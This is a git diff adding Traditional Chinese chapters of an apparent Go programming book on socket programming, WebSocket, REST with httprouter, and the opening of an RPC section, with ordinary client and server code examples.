觀看視訊時,PPstream 程序如何與視訊伺服器進行通訊的呢? 如此種種,都是靠 Socket 來進行通訊的,以一斑窺全豹,可見 Socket 程式設計在現代程式設計中佔據了多麼重要的地位,這一節我們將介紹 Go 語言中如何進行 Socket 程式設計。 + +## 什麼是 Socket? +Socket 起源於 Unix,而 Unix 基本哲學之一就是“一切皆檔案”,都可以用“開啟 open –> 讀寫 write/read –> 關閉 close”模式來操作。Socket 就是該模式的一個實現,網路的 Socket 資料傳輸是一種特殊的 I/O,Socket 也是一種檔案描述符。Socket 也具有一個類似於開啟檔案的函式呼叫:Socket(),該函式回傳一個整型的 Socket 描述符,隨後的連線建立、資料傳輸等操作都是透過該 Socket 實現的。 + +常用的 Socket 型別有兩種:串流式的 Socket(SOCK_STREAM)和資料報式的 Socket(SOCK_DGRAM)。串流式是一種連線導向的 Socket,針對於連線導向的 TCP 服務應用;資料報式 Socket 是一種無連線的 Socket,對應於無連線的 UDP 服務應用。 + +## Socket 如何通訊 +網路中的程序之間如何透過 Socket 通訊呢?首要解決的問題是如何唯一標識一個程序,否則通訊無從談起!在本地可以透過程序 PID 來唯一標識一個程序,但是在網路中這是行不通的。其實 TCP/IP 協議族已經幫我們解決了這個問題,網路層的“ip 地址”可以唯一標識網路中的主機,而傳輸層的“協議+埠”可以唯一標識主機中的應用程式(程序)。這樣利用三元組(ip 地址,協議,埠)就可以標識網路的程序了,網路中需要互相通訊的程序,就可以利用這個標誌在他們之間進行互動。請看下面這個 TCP/IP 協議結構圖 + +![](images/8.1.socket.png) + +圖 8.1 七層網路協議圖 + +使用 TCP/IP 協議的應用程式通常採用應用程式設計介面:UNIX BSD 的套接字(socket)和 UNIX System V 的 TLI(已經被淘汰),來實現網路程序之間的通訊。就目前而言,幾乎所有的應用程式都是採用 socket,而現在又是網路時代,網路中程序通訊是無處不在,這就是為什麼說“一切皆 Socket”。 + +## Socket 基礎知識 +透過上面的介紹我們知道 Socket 有兩種:TCP Socket 和 UDP Socket,TCP 和 UDP 是協議,而要確定一個程序的需要三元組,需要 IP 地址和埠。 + +### IPv4 地址 +目前的全球因特網所採用的協議族是 TCP/IP 協議。IP 是 TCP/IP 協議中網路層的協議,是 TCP/IP 協議族的核心協議。目前主要採用的 IP 協議的版本號是 4(簡稱為 IPv4),發展至今已經使用了 30 多年。 + +IPv4 的地址位數為 32 位,也就是最多有 2 的 32 次方的網路裝置可以聯到 Internet 上。近十年來由於網際網路的蓬勃發展,IP 位址的需求量愈來愈大,使得 IP 位址的發放愈趨緊張,前一段時間,據報道 IPV4 的地址已經發放完畢,我們公司目前很多伺服器的 IP 都是一個寶貴的資源。 + +地址格式類似這樣:127.0.0.1 172.122.121.111 + +### IPv6 地址 +IPv6 是下一版本的網際網路協議,也可以說是下一代網際網路的協議,它是為了解決 IPv4 在實施過程中遇到的各種問題而被提出的,IPv6 採用 128 位地址長度,幾乎可以不受限制地提供地址。按保守方法估算 IPv6 實際可分配的地址,整個地球的每平方米麵積上仍可分配 1000 多個地址。在 IPv6 的設計過程中除了一勞永逸地解決了地址短缺問題以外,還考慮了在 IPv4 中解決不好的其它問題,主要有端到端 IP 連線、服務品質(QoS)、安全性、多播、移動性、即插即用等。 + +地址格式類似這樣:2002:c0e8:82e7:0:0:0:c0e8:82e7 + +### Go 支援的 IP 型別 +在 Go 的`net`套件中定義了很多型別、函式和方法用來網路程式設計,其中 IP 的定義如下: + +```Go + +type IP []byte +``` + +在 `net` 套件中有很多函式來操作 IP,但是其中比較有用的也就幾個,其中`ParseIP(s string) IP`函式會把一個 IPv4 或者 IPv6 的地址轉化成 IP 型別,請看下面的例子: + +```Go + +package main +import ( + "net" + "os" + "fmt" +) +func main() { + if len(os.Args) != 2 { + fmt.Fprintf(os.Stderr, "Usage: %s ip-addr\n", os.Args[0]) + os.Exit(1) + } + name := os.Args[1] + addr := net.ParseIP(name) + if addr == nil { + fmt.Println("Invalid address") + } else { + fmt.Println("The address is ", addr.String()) + } + os.Exit(0) +} +``` + +執行之後你就會發現只要你輸入一個 IP 地址就會給出相應的 IP 格式 + +## TCP Socket +當我們知道如何透過網路埠訪問一個服務時,那麼我們能夠做什麼呢?作為客戶端來說,我們可以透過向遠端某臺機器的的某個網路埠傳送一個請求,然後得到在機器的此埠上監聽的服務反饋的資訊。作為伺服器端,我們需要把服務繫結到某個指定埠,並且在此埠上監聽,當有客戶端來訪問時能夠讀取資訊並且寫入反饋資訊。 + +在 Go 語言的 `net` 套件中有一個型別`TCPConn`,這個型別可以用來作為客戶端和伺服器端互動的通道,他有兩個主要的函式: + +```Go + +func (c *TCPConn) Write(b []byte) (int, error) +func (c *TCPConn) Read(b []byte) (int, error) +``` + +`TCPConn`可以用在客戶端和伺服器端來讀寫資料。 + +還有我們需要知道一個 `TCPAddr` 型別,他表示一個 TCP 的地址資訊,他的定義如下: + +```Go + +type TCPAddr struct { + IP IP + Port int + Zone string // IPv6 scoped addressing zone +} +``` +在 Go 語言中透過 `ResolveTCPAddr` 取得一個`TCPAddr` + +```Go + +func ResolveTCPAddr(net, addr string) (*TCPAddr, os.Error) +``` + +- net 參數是"tcp4"、"tcp6"、"tcp"中的任意一個,分別表示 TCP(IPv4-only), TCP(IPv6-only)或者 TCP(IPv4, IPv6 的任意一個)。 +- addr 表示域名或者 IP 地址,例如"www.google.com:80" 或者"127.0.0.1:22"。 + + +### TCP client +Go 語言中透過 net 套件中的 `DialTCP` 函式來建立一個 TCP 連線,並回傳一個 `TCPConn` 型別的物件,當連線建立時伺服器端也建立一個同類型的物件,此時客戶端和伺服器端透過各自擁有的 `TCPConn` 物件來進行資料交換。一般而言,客戶端透過 `TCPConn` 物件將請求資訊傳送到伺服器端,讀取伺服器端回應的資訊。伺服器端讀取並解析來自客戶端的請求,並回傳回應資訊,這個連線只有當任一端關閉了連線之後才失效,不然這連線可以一直在使用。建立連線的函式定義如下: + +```Go + +func DialTCP(network string, laddr, raddr *TCPAddr) (*TCPConn, error) +``` +- network 參數是"tcp4"、"tcp6"、"tcp"中的任意一個,分別表示 TCP(IPv4-only)、TCP(IPv6-only)或者 TCP(IPv4,IPv6 的任意一個) +- laddr 表示本機地址,一般設定為 nil + +- raddr 表示遠端的服務地址 + +接下來我們寫一個簡單的例子,模擬一個基於 HTTP 協議的客戶端請求去連線一個 Web 伺服器端。我們要寫一個簡單的 http 請求頭,格式類似如下: + + "HEAD / HTTP/1.0\r\n\r\n" + +從伺服器端接收到的回應資訊格式可能如下: + +```Go + +HTTP/1.0 200 OK +ETag: "-9985996" +Last-Modified: Thu, 25 Mar 2010 17:51:10 GMT +Content-Length: 18074 +Connection: close +Date: Sat, 28 Aug 2010 00:43:48 GMT +Server: lighttpd/1.4.23 +``` +我們的客戶端程式碼如下所示: + +```Go + +package main + +import ( + "fmt" + "io/ioutil" + "net" + "os" +) + +func main() { + if len(os.Args) != 2 { + fmt.Fprintf(os.Stderr, "Usage: %s host:port ", os.Args[0]) + os.Exit(1) + } + service := os.Args[1] + tcpAddr, err := net.ResolveTCPAddr("tcp4", service) + checkError(err) + conn, err := net.DialTCP("tcp", nil, tcpAddr) + checkError(err) + _, err = conn.Write([]byte("HEAD / HTTP/1.0\r\n\r\n")) + checkError(err) + result, err := ioutil.ReadAll(conn) + checkError(err) + fmt.Println(string(result)) + os.Exit(0) +} +func checkError(err error) { + if err != nil { + fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error()) + os.Exit(1) + } +} +``` + +透過上面的程式碼我們可以看出:首先程式將使用者的輸入作為參數 `service` 傳入`net.ResolveTCPAddr`取得一個 tcpAddr,然後把 tcpAddr 傳入 DialTCP 後建立了一個 TCP 連線`conn`,透過 `conn` 來發送請求資訊,最後透過`ioutil.ReadAll`從 `conn` 中讀取全部的文字,也就是伺服器端回應反饋的資訊。 + +### TCP server +上面我們編寫了一個 TCP 的客戶端程式,也可以透過 net 套件來建立一個伺服器端程式,在伺服器端我們需要繫結服務到指定的非啟用埠,並監聽此埠,當有客戶端請求到達的時候可以接收到來自客戶端連線的請求。net 套件中有相應功能的函式,函式定義如下: + +```Go + +func ListenTCP(network string, laddr *TCPAddr) (*TCPListener, error) +func (l *TCPListener) Accept() (Conn, error) +``` +參數說明同 DialTCP 的參數一樣。下面我們實現一個簡單的時間同步服務,監聽 7777 埠 + +```Go + +package main + +import ( + "fmt" + "net" + "os" + "time" +) + +func main() { + service := ":7777" + tcpAddr, err := net.ResolveTCPAddr("tcp4", service) + checkError(err) + listener, err := net.ListenTCP("tcp", tcpAddr) + checkError(err) + for { + conn, err := listener.Accept() + if err != nil { + continue + } + daytime := time.Now().String() + conn.Write([]byte(daytime)) // don't care about return value + conn.Close() // we're finished with this client + } +} +func checkError(err error) { + if err != nil { + fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error()) + os.Exit(1) + } +} +``` + +上面的服務跑起來之後,它將會一直在那裡等待,直到有新的客戶端請求到達。當有新的客戶端請求到達並同意接受 `Accept` 該請求的時候他會反饋當前的時間資訊。值得注意的是,在程式碼中 `for` 迴圈裡,當有錯誤發生時,直接 continue 而不是退出,是因為在伺服器端跑程式碼的時候,當有錯誤發生的情況下最好是由伺服器端記錄錯誤,然後當前連線的客戶端直接報錯而退出,從而不會影響到當前伺服器端執行的整個服務。 + +上面的程式碼有個缺點,執行的時候是單任務的,不能同時接收多個請求,那麼該如何改造以使它支援多併發呢?Go 裡面有一個 goroutine 機制,請看下面改造後的程式碼 + +```Go + +package main + +import ( + "fmt" + "net" + "os" + "time" +) + +func main() { + service := ":1200" + tcpAddr, err := net.ResolveTCPAddr("tcp4", service) + checkError(err) + listener, err := net.ListenTCP("tcp", tcpAddr) + checkError(err) + for { + conn, err := listener.Accept() + if err != nil { + continue + } + go handleClient(conn) + } +} + +func handleClient(conn net.Conn) { + defer conn.Close() + daytime := time.Now().String() + conn.Write([]byte(daytime)) // don't care about return value + // we're finished with this client +} +func checkError(err error) { + if err != nil { + fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error()) + os.Exit(1) + } +} +``` + +透過把業務處理分離到函式`handleClient`,我們就可以進一步地實現多併發執行了。看上去是不是很帥,增加 `go` 關鍵詞就實現了伺服器端的多併發,從這個小例子也可以看出 goroutine 的強大之處。 + +有的朋友可能要問:這個伺服器端沒有處理客戶端實際請求的內容。如果我們需要透過從客戶端傳送不同的請求來取得不同的時間格式,而且需要一個長連線,該怎麼做呢?請看: + +```Go + +package main + +import ( + "fmt" + "net" + "os" + "time" + "strconv" + "strings" +) + +func main() { + service := ":1200" + tcpAddr, err := net.ResolveTCPAddr("tcp4", service) + checkError(err) + listener, err := net.ListenTCP("tcp", tcpAddr) + checkError(err) + for { + conn, err := listener.Accept() + if err != nil { + continue + } + go handleClient(conn) + } +} + +func handleClient(conn net.Conn) { + conn.SetReadDeadline(time.Now().Add(2 * time.Minute)) // set 2 minutes timeout + request := make([]byte, 128) // set maxium request length to 128B to prevent flood attack + defer conn.Close() // close connection before exit + for { + read_len, err := conn.Read(request) + + if err != nil { + fmt.Println(err) + break + } + + if read_len == 0 { + break // connection already closed by client + } else if strings.TrimSpace(string(request[:read_len])) == "timestamp" { + daytime := strconv.FormatInt(time.Now().Unix(), 10) + conn.Write([]byte(daytime)) + } else { + daytime := time.Now().String() + conn.Write([]byte(daytime)) + } + + request = make([]byte, 128) // clear last read content + } +} + +func checkError(err error) { + if err != nil { + fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error()) + os.Exit(1) + } +} +``` + +在上面這個例子中,我們使用`conn.Read()`不斷讀取客戶端發來的請求。由於我們需要保持與客戶端的長連線,所以不能在讀取完一次請求後就關閉連線。由於`conn.SetReadDeadline()`設定了超時,當一定時間內客戶端無請求傳送,`conn`便會自動關閉,下面的 for 迴圈即會因為連線已關閉而跳出。需要注意的是,`request`在建立時需要指定一個最大長度以防止 flood attack;每次讀取到請求處理完畢後,需要清理 request,因為`conn.Read()`會將新讀取到的內容 append 到原內容之後。 + +### 控制 TCP 連線 +TCP 有很多連線控制函式,我們平常用到比較多的有如下幾個函式: + +```Go + +func DialTimeout(net, addr string, timeout time.Duration) (Conn, error) +``` + +設定建立連線的超時時間,客戶端和伺服器端都適用,當超過設定時間時,連線自動關閉。 + +```Go + +func (c *TCPConn) SetReadDeadline(t time.Time) error +func (c *TCPConn) SetWriteDeadline(t time.Time) error +``` + +用來設定寫入/讀取一個連線的超時時間。當超過設定時間時,連線自動關閉。 + +```Go + +func (c *TCPConn) SetKeepAlive(keepalive bool) os.Error +``` +設定 keepAlive 屬性,是作業系統層在 tcp 上沒有資料和 ACK 的時候,會間隔性的傳送 keepalive 套件,作業系統可以透過該套件來判斷一個 tcp 連線是否已經斷開,在 windows 上預設 2 個小時沒有收到資料和 keepalive 套件的時候人為 tcp 連線已經斷開,這個功能和我們通常在應用層加的心跳套件的功能類似。 + +更多的內容請檢視 `net` 套件的文件。 +## UDP Socket +Go 語言套件中處理 UDP Socket 和 TCP Socket 不同的地方就是在伺服器端處理多個客戶端請求資料套件的方式不同,UDP 缺少了對客戶端連線請求的 Accept 函式。其他基本幾乎一模一樣,只有 TCP 換成了 UDP 而已。UDP 的幾個主要函式如下所示: + +```Go + +func ResolveUDPAddr(net, addr string) (*UDPAddr, os.Error) +func DialUDP(net string, laddr, raddr *UDPAddr) (c *UDPConn, err os.Error) +func ListenUDP(net string, laddr *UDPAddr) (c *UDPConn, err os.Error) +func (c *UDPConn) ReadFromUDP(b []byte) (n int, addr *UDPAddr, err os.Error) +func (c *UDPConn) WriteToUDP(b []byte, addr *UDPAddr) (n int, err os.Error) +``` +一個 UDP 的客戶端程式碼如下所示,我們可以看到不同的就是 TCP 換成了 UDP 而已: + +```Go + +package main + +import ( + "fmt" + "net" + "os" +) + +func main() { + if len(os.Args) != 2 { + fmt.Fprintf(os.Stderr, "Usage: %s host:port", os.Args[0]) + os.Exit(1) + } + service := os.Args[1] + udpAddr, err := net.ResolveUDPAddr("udp4", service) + checkError(err) + conn, err := net.DialUDP("udp", nil, udpAddr) + checkError(err) + _, err = conn.Write([]byte("anything")) + checkError(err) + var buf [512]byte + n, err := conn.Read(buf[0:]) + checkError(err) + fmt.Println(string(buf[0:n])) + os.Exit(0) +} +func checkError(err error) { + if err != nil { + fmt.Fprintf(os.Stderr, "Fatal error %s", err.Error()) + os.Exit(1) + } +} +``` + +我們來看一下 UDP 伺服器端如何來處理: + +```Go + +package main + +import ( + "fmt" + "net" + "os" + "time" +) + +func main() { + service := ":1200" + udpAddr, err := net.ResolveUDPAddr("udp4", service) + checkError(err) + conn, err := net.ListenUDP("udp", udpAddr) + checkError(err) + for { + handleClient(conn) + } +} +func handleClient(conn *net.UDPConn) { + var buf [512]byte + _, addr, err := conn.ReadFromUDP(buf[0:]) + if err != nil { + return + } + daytime := time.Now().String() + conn.WriteToUDP([]byte(daytime), addr) +} +func checkError(err error) { + if err != nil { + fmt.Fprintf(os.Stderr, "Fatal error %s", err.Error()) + os.Exit(1) + } +} +``` + +## 總結 +透過對 TCP 和 UDP Socket 程式設計的描述和實現,可見 Go 已經完備地支援了 Socket 程式設計,而且使用起來相當的方便,Go 提供了很多函式,透過這些函式可以很容易就編寫出高效能的 Socket 應用。 + + +## links + * [目錄]() + * 上一節:[Web 服務](<08.0.md>) + * 下一節:[WebSocket](<08.2.md>) diff --git a/zh-tw/08.2.md b/zh-tw/08.2.md new file mode 100644 index 000000000..c69102f82 --- /dev/null +++ b/zh-tw/08.2.md @@ -0,0 +1,155 @@ +# 8.2 WebSocket +WebSocket 是 HTML5 的重要特性,它實現了基於瀏覽器的遠端 socket,它使瀏覽器和伺服器可以進行全雙工通訊,許多瀏覽器(Firefox、Google Chrome 和 Safari)都已對此做了支援。 + +在 WebSocket 出現之前,為了實現即時通訊,採用的技術都是“輪詢”,即在特定的時間間隔內,由瀏覽器對伺服器發出 HTTP Request,伺服器在收到請求後,回傳最新的資料給瀏覽器重新整理,“輪詢”使得瀏覽器需要對伺服器不斷髮出請求,這樣會佔用大量頻寬。 + +WebSocket 採用了一些特殊的報頭,使得瀏覽器和伺服器只需要做一個握手的動作,就可以在瀏覽器和伺服器之間建立一條連線通道。且此連線會保持在活動狀態,你可以使用 JavaScript 來向連線寫入或從中接收資料,就像在使用一個常規的 TCP Socket 一樣。它解決了 Web 即時化的問題,相比傳統 HTTP 有如下好處: + +- 一個 Web 客戶端只建立一個 TCP 連線 +- Websocket 伺服器端可以推送(push)資料到 web 客戶端. +- 有更加輕量級的頭,減少資料傳送量 + +WebSocket URL 的起始輸入是 ws://或是 wss://(在 SSL 上)。下圖展示了 WebSocket 的通訊過程,一個帶有特定報頭的 HTTP 握手被髮送到了伺服器端,接著在伺服器端或是客戶端就可以透過 JavaScript 來使用某種套介面(socket),這一套介面可被用來透過事件控制代碼非同步地接收資料。 + +![](images/8.2.websocket.png) + +圖 8.2 WebSocket 原理圖 + +## WebSocket 原理 +WebSocket 的協議頗為簡單,在第一次 handshake 透過以後,連線便建立成功,其後的通訊資料都是以”\x00″開頭,以”\xFF”結尾。在客戶端,這個是透明的,WebSocket 元件會自動將原始資料“掐頭去尾”。 + +瀏覽器發出 WebSocket 連線請求,然後伺服器發出迴應,然後連線建立成功,這個過程通常稱為“握手” (handshaking)。請看下面的請求和反饋資訊: + +![](images/8.2.websocket2.png) + +圖 8.3 WebSocket 的 request 和 response 資訊 + +在請求中的"Sec-WebSocket-Key"是隨機的,對於整天跟編碼打交道的程式設計師,一眼就可以看出來:這個是一個經過 base64 編碼後的資料。伺服器端接收到這個請求之後需要把這個字串連線上一個固定的字串: + + 258EAFA5-E914-47DA-95CA-C5AB0DC85B11 + +即:`f7cb4ezEAl6C3wRaU6JORA==`連線上那一串固定字串,產生一個這樣的字串: + + f7cb4ezEAl6C3wRaU6JORA==258EAFA5-E914-47DA-95CA-C5AB0DC85B11 + +對該字串先用 sha1 安全雜湊演算法計算出二進位制的值,然後用 base64 對其進行編碼,即可以得到握手後的字串: + + rE91AJhfC+6JdVcVXOGJEADEJdQ= + +將之作為回應標頭`Sec-WebSocket-Accept`的值反饋給客戶端。 + +## Go 實現 WebSocket +Go 語言標準套件裡面沒有提供對 WebSocket 的支援,但是在由官方維護的 go.net 子套件中有對這個的支援,你可以透過如下的命令取得該套件: + + go get golang.org/x/net/websocket + +WebSocket 分為客戶端和伺服器端,接下來我們將實現一個簡單的例子 : 使用者輸入資訊,客戶端透過 WebSocket 將資訊傳送給伺服器端,伺服器端收到資訊之後主動 Push 資訊到客戶端,然後客戶端將輸出其收到的資訊,客戶端的程式碼如下: + +```html + + + + + +

WebSocket Echo Test

+
+

+ Message: +

+
+ + + +``` + +可以看到客戶端 JS,很容易的就透過 WebSocket 函式建立了一個與伺服器的連線 sock,當握手成功後,會觸發 WebScoket 物件的 onopen 事件,告訴客戶端連線已經成功建立。客戶端一共綁定了四個事件。 + +- 1)onopen 建立連線後觸發 +- 2)onmessage 收到訊息後觸發 +- 3)onerror 發生錯誤時觸發 +- 4)onclose 關閉連線時觸發 + +我們伺服器端的實現如下: + +```Go +package main + +import ( + "golang.org/x/net/websocket" + "fmt" + "log" + "net/http" +) + +func Echo(ws *websocket.Conn) { + var err error + + for { + var reply string + + if err = websocket.Message.Receive(ws, &reply); err != nil { + fmt.Println("Can't receive") + break + } + + fmt.Println("Received back from client: " + reply) + + msg := "Received: " + reply + fmt.Println("Sending to client: " + msg) + + if err = websocket.Message.Send(ws, msg); err != nil { + fmt.Println("Can't send") + break + } + } +} + +func main() { + http.Handle("/", websocket.Handler(Echo)) + + if err := http.ListenAndServe(":1234", nil); err != nil { + log.Fatal("ListenAndServe:", err) + } +} +``` + +當客戶端將使用者輸入的資訊 Send 之後,伺服器端透過 Receive 接收到了相應資訊,然後透過 Send 傳送了回應資訊。 + +![](images/8.2.websocket3.png) + +圖 8.4 WebSocket 伺服器端接收到的資訊 + +透過上面的例子我們看到客戶端和伺服器端實現 WebSocket 非常的方便,Go 的原始碼 net 分支中已經實現了這個的協議,我們可以直接拿來用,目前隨著 HTML5 的發展,我想未來 WebSocket 會是 Web 開發的一個重點,我們需要儲備這方面的知識。 + + +## links + * [目錄]() + * 上一節:[Socket 程式設計](<08.1.md>) + * 下一節:[REST](<08.3.md>) diff --git a/zh-tw/08.3.md b/zh-tw/08.3.md new file mode 100644 index 000000000..473f128ba --- /dev/null +++ b/zh-tw/08.3.md @@ -0,0 +1,127 @@ +# 8.3 REST +RESTful,是目前最為流行的一種網際網路軟體架構。因為它結構清晰、符合標準、易於理解、擴充套件方便,所以正得到越來越多網站的採用。本小節我們將來學習它到底是一種什麼樣的架構?以及在 Go 裡面如何來實現它。 +## 什麼是 REST +REST(REpresentational State Transfer)這個概念,首次出現是在 2000 年 Roy Thomas Fielding(他是 HTTP 規範的主要編寫者之一)的博士論文中,它指的是一組架構約束條件和原則。滿足這些約束條件和原則的應用程式或設計就是 RESTful 的。 + +要理解什麼是 REST,我們需要理解下面幾個概念: + +- 資源(Resources) + REST 是"表現層狀態轉化",其實它省略了主語。"表現層"其實指的是"資源"的"表現層"。 + + 那麼什麼是資源呢?就是我們平常上網訪問的一張圖片、一個文件、一個視訊等。這些資源我們透過 URI 來定位,也就是一個 URI 表示一個資源。 + +- 表現層(Representation) + + 資源是做一個具體的實體資訊,他可以有多種的展現方式。而把實體展現出來就是表現層,例如一個 txt 文字資訊,他可以輸出成 html、json、xml 等格式,一個圖片他可以 jpg、png 等方式展現,這個就是表現層的意思。 + + URI 確定一個資源,但是如何確定它的具體表現形式呢?應該在 HTTP 請求的頭資訊中用 Accept 和 Content-Type 欄位指定,這兩個欄位才是對"表現層"的描述。 + +- 狀態轉化(State Transfer) + + 訪問一個網站,就代表了客戶端和伺服器的一個互動過程。在這個過程中,肯定涉及到資料和狀態的變化。而 HTTP 協議是無狀態的,那麼這些狀態肯定儲存在伺服器端,所以如果客戶端想要通知伺服器端改變資料和狀態的變化,肯定要透過某種方式來通知它。 + + 客戶端能通知伺服器端的手段,只能是 HTTP 協議。具體來說,就是 HTTP 協議裡面,四個表示操作方式的動詞:GET、POST、PUT、DELETE。它們分別對應四種基本操作:GET 用來取得資源,POST 用來建立資源(也可以用於更新資源),PUT 用來更新資源,DELETE 用來刪除資源。 + +綜合上面的解釋,我們總結一下什麼是 RESTful 架構: + +- (1)每一個 URI 代表一種資源; +- (2)客戶端和伺服器之間,傳遞這種資源的某種表現層; +- (3)客戶端透過四個 HTTP 動詞,對伺服器端資源進行操作,實現"表現層狀態轉化"。 + + +Web 應用要滿足 REST 最重要的原則是 : 客戶端和伺服器之間的互動在請求之間是無狀態的,即從客戶端到伺服器的每個請求都必須包含理解請求所必需的資訊。如果伺服器在請求之間的任何時間點重啟,客戶端不會得到通知。此外此請求可以由任何可用伺服器回答,這十分適合雲端計算之類別的環境。因為是無狀態的,所以客戶端可以快取資料以改進效能。 + +另一個重要的 REST 原則是系統分層,這表示元件無法了解除了與它直接互動的層次以外的元件。透過將系統知識限制在單個層,可以限制整個系統的複雜性,從而促進了底層的獨立性。 + +下圖即是 REST 的架構圖: + +![](images/8.3.rest2.png) + +圖 8.5 REST 架構圖 + +當 REST 架構的約束條件作為一個整體應用時,將產生一個可以擴充套件到大量客戶端的應用程式。它還降低了客戶端和伺服器之間的互動延遲。統一介面簡化了整個系統架構,改進了子系統之間互動的可見性。REST 簡化了客戶端和伺服器的實現,而且對於使用 REST 開發的應用程式更加容易擴充套件。 + +下圖展示了 REST 的擴充套件性: + +![](images/8.3.rest.png) + +圖 8.6 REST 的擴充套件性 + +## RESTful 的實現 +Go 沒有為 REST 提供直接支援,但是因為 RESTful 是基於 HTTP 協議實現的,所以我們可以利用`net/http`套件來自己實現,當然需要針對 REST 做一些改造,REST 是根據不同的 method 來處理相應的資源,目前已經存在的很多自稱是 REST 的應用,其實並沒有真正的實現 REST,我暫且把這些應用根據實現的 method 分成幾個級別,請看下圖: + +![](images/8.3.rest3.png) + +圖 8.7 REST 的 level 分級 + +上圖展示了我們目前實現 REST 的三個 level,我們在應用開發的時候也不一定全部按照 RESTful 的規則全部實現他的方式,因為有些時候完全按照 RESTful 的方式未必是可行的,RESTful 服務充分利用每一個 HTTP 方法,包括 `DELETE` 和`PUT`。可有時,HTTP 客戶端只能發出 `GET` 和`POST`請求: + +- HTML 標準只能透過連結和表單支援 `GET` 和`POST`。在沒有 Ajax 支援的網頁瀏覽器中不能發出 `PUT` 或`DELETE`命令 + +- 有些防火牆會擋住 HTTP `PUT`和 `DELETE` 請求,要繞過這個限制,客戶端需要把實際的 `PUT` 和`DELETE`請求透過 POST 請求穿透過來。RESTful 服務則要負責在收到的 POST 請求中找到原始的 HTTP 方法並還原。 + +我們現在可以透過 `POST` 裡面增加隱藏欄位 `_method` 這種方式可以來模擬`PUT`、`DELETE`等方式,但是伺服器端需要做轉換。我現在的專案裡面就按照這種方式來做的 REST 介面。當然 Go 語言裡面完全按照 RESTful 來實現是很容易的,我們透過下面的例子來說明如何實現 RESTful 的應用設計。 + +```Go +package main + +import ( + "fmt" + "log" + "net/http" + + "github.com/julienschmidt/httprouter" +) + +func Index(w http.ResponseWriter, r *http.Request, _ httprouter.Params) { + fmt.Fprint(w, "Welcome!\n") +} + +func Hello(w http.ResponseWriter, r *http.Request, ps httprouter.Params) { + fmt.Fprintf(w, "hello, %s!\n", ps.ByName("name")) +} + +func getuser(w http.ResponseWriter, r *http.Request, ps httprouter.Params) { + uid := ps.ByName("uid") + fmt.Fprintf(w, "you are get user %s", uid) +} + +func modifyuser(w http.ResponseWriter, r *http.Request, ps httprouter.Params) { + uid := ps.ByName("uid") + fmt.Fprintf(w, "you are modify user %s", uid) +} + +func deleteuser(w http.ResponseWriter, r *http.Request, ps httprouter.Params) { + uid := ps.ByName("uid") + fmt.Fprintf(w, "you are delete user %s", uid) +} + +func adduser(w http.ResponseWriter, r *http.Request, ps httprouter.Params) { + // uid := r.FormValue("uid") + uid := ps.ByName("uid") + fmt.Fprintf(w, "you are add user %s", uid) +} + +func main() { + router := httprouter.New() + router.GET("/", Index) + router.GET("/hello/:name", Hello) + + router.GET("/user/:uid", getuser) + router.POST("/adduser/:uid", adduser) + router.DELETE("/deluser/:uid", deleteuser) + router.PUT("/moduser/:uid", modifyuser) + + log.Fatal(http.ListenAndServe(":8080", router)) +} +``` + +上面的程式碼示範了如何編寫一個 REST 的應用,我們訪問的資源是使用者,我們透過不同的 method 來訪問不同的函式,這裡使用了第三方函式庫`github.com/julienschmidt/httprouter`,在前面章節我們介紹過如何實現自訂的路由器,這個函式庫實現了自訂路由和方便的路由規則對映,透過它,我們可以很方便的實現 REST 的架構。透過上面的程式碼可知,REST 就是根據不同的 method 訪問同一個資源的時候實現不同的邏輯處理。 + +## 總結 +REST 是一種架構風格,汲取了 WWW 的成功經驗:無狀態,以資源為中心,充分利用 HTTP 協議和 URI 協議,提供統一的介面定義,使得它作為一種設計 Web 服務的方法而變得流行。在某種意義上,透過強調 URI 和 HTTP 等早期 Internet 標準,REST 是對大型應用程式伺服器時代之前的 Web 方式的迴歸。目前 Go 對於 REST 的支援還是很簡單的,透過實現自訂的路由規則,我們就可以為不同的 method 實現不同的 handle,這樣就實現了 REST 的架構。 + +## links + * [目錄]() + * 上一節:[WebSocket](<08.2.md>) + * 下一節:[RPC](<08.4.md>) diff --git a/zh-tw/08.4.md b/zh-tw/08.4.md new file mode 100644 index 000000000..a75371ffc --- /dev/null +++ b/zh-tw/08.4.md @@ -0,0 +1,406 @@ +# 8.4 RPC +前面幾個小節我們介紹了如何基於 Socket 和 HTTP 來編寫網路應用,透過學習我們了解了 Socket 和 HTTP 採用的是類似"資訊交換"模式,即客戶端傳送一條資訊到伺服器端,然後(一般來說)伺服器端都會回傳一定的資訊以表示回應。客戶端和伺服器端之間約定了互動資訊的格式,以便雙方都能夠解析互動所產生的資訊。但是很多獨立的應用並沒有採用這種模式,而是採用類似常規的函式呼叫的方式來完成想要的功能。 + +RPC 就是想實現函式呼叫模式的網路化。客戶端就像呼叫本地函式一樣,然後客戶端把這些參數打套件之後透過網路傳遞到伺服器端,伺服器端解套件到處理過程中執行,然後執行的結果反饋給客戶端。 + +RPC(Remote Procedure Call Protocol)——遠端過程呼叫協議,是一種透過網路從遠端計算機程式上請求服務,而不需要了解底層網路技術的協議。它假定某些傳輸協議的存在,如 TCP 或 UDP,以便為通訊程式之間攜帶資訊資料。透過它可以使函式呼叫模式網路化。在 OSI 網路通訊模型中,RPC 跨越了傳輸層和應用層。RPC 使得開發包括網路分散式多程式在內的應用程式更加容易。 + +## RPC 工作原理 + +![](images/8.4.rpc.png) + +圖 8.8 RPC 工作流程圖 + +執行時,一次客戶端對伺服器的 RPC 呼叫,其內部操作大致有如下十步: + +- 1.呼叫客戶端控制代碼;執行傳送參數 +- 2.呼叫本地系統核心傳送網路訊息 +- 3.訊息傳送到遠端主機 +- 4.伺服器控制代碼得到訊息並取得參數 +- 5.執行遠端過程 +- 6.執行的過程將結果回傳伺服器控制代碼 +- 7.伺服器控制代碼回傳結果,呼叫遠端系統核心 +- 8.訊息傳回本地主機 +- 9.客戶控制代碼由核心接收訊息 +- 10.客戶接收控制代碼回傳的資料 + +## Go RPC +Go 標準套件中已經提供了對 RPC 的支援,而且支援三個級別的 RPC:TCP、HTTP、JSONRPC。但 Go 的 RPC 套件是獨一無二的 RPC,它和傳統的 RPC 系統不同,它只支援 Go 開發的伺服器與客戶端之間的互動,因為在內部,它們採用了 Gob 來編碼。 + +Go RPC 的函式只有符合下面的條件才能被遠端訪問,不然會被忽略,詳細的要求如下: + +- 函式必須是匯出的(首字母大寫) +- 必須有兩個匯出型別的參數, +- 第一個參數是接收的參數,第二個參數是回傳給客戶端的參數,第二個參數必須是指標型別的 